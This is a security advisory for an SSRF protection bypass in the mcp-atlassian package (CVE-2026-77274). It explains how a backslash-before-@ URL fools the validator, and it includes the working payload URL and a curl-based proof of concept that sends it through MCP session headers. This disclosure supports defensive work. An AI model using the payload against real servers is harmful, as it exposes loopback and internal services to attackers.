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MCP Atlassian: SSRF Protection Bypass

CVE-2026-77274 ยท 2026-09-22 high

Class
MCP and Tool Server Flaws (filed by a model that read the advisory)
Technique
Server-side request forgery
Affected
mcp-atlassian (PyPI)
Gets past
SSRF protection
CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS
0.3% chance of exploitation in 30 days

How it works, in short

A backslash-based userinfo trick makes the URL validator check a harmless hostname while the actual request goes to a loopback or internal address. (Our summary, written by a model. The source text is below.)

Details

Environment

Description

The SSRF protection in validate_url_for_ssrf() can be bypassed with a URL containing a backslash before userinfo-like syntax.

Affected code:

parsed = urlparse(url)
hostname = parsed.hostname
...
ip_error = _check_ip_address(hostname)
...
dns_error = _check_dns_resolution(hostname)

Payload:

http://127.0.0.1:6666\@www.baidu.com

For this input, urllib.parse.urlparse() treats the hostname as:

www.baidu.com

Therefore, validate_url_for_ssrf() validates www.baidu.com instead of 127.0.0.1. However, the downstream request made through the Atlassian client / requests.Session reaches the local service:

http://127.0.0.1:6666/%5C@www.baidu.com/rest/api/2/myself

This allows an attacker-controlled Jira URL to target loopback or internal services.

Proof of Concept

Start a local HTTP server:

python3 -m http.server 6666 --bind 127.0.0.1

Start mcp-atlassian with streamable HTTP transport on port 9000.

Initialize an MCP session with the malicious Jira URL:

curl -i http://127.0.0.1:9000/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
  -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
  --data '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"ssrf-test","version":"0.1"}}}'

Send the initialized notification using the returned Mcp-Session-Id:

curl -i http://127.0.0.1:9000/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'mcp-session-id: <SESSION_ID>' \
  -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
  -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
  --data '{"jsonrpc":"2.0","method":"notifications/initialized"}'

Trigger Jira fetcher creation and token validation:

curl -i http://127.0.0.1:9000/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'mcp-session-id: <SESSION_ID>' \
  -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
  -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
  --data '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"jira_get_issue","arguments":{"issue_key":"TEST-1"}}}'

Observed response:

<img width="1505" height="442" alt="image" src="https://github.com/user-attachments/assets/f98a2ad6-8bc2-453c-9ef8-481dd991bc8e" />

The local HTTP server also receives the request, confirming SSRF.

<img width="891" height="131" alt="image" src="https://github.com/user-attachments/assets/3bbeb142-2aae-4d1d-ae65-7f57015325c6" />

Root Cause

The security validation and the actual HTTP request do not use the same URL interpretation.

This parser mismatch allows a restricted host to be hidden before \@.

Impact

An attacker who can provide X-Atlassian-Jira-Url or X-Atlassian-Confluence-Url may force the server to send requests to loopback or internal services despite SSRF validation.

References

Source: GitHub Advisory Database, used under CC BY 4.0.